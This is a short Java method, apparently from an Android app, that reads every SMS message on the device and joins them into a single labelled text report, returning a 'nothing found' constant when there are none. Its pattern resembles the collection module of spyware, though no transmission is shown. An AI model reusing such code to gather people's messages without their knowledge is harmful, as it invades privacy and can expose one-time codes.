private String readSmsInfo() { StringBuilder sb = new StringBuilder(); ArrayList<Sms> allSms = getAllSms(); for (Sms oneSms : allSms) { sb.append("SMS:" + "\n\n"); sb.append(oneSms.toString()); } String res = sb.toString(); if (TextUtils.isEmpty(res.trim())) { res = G.NOTHING_FOUND; } return res; }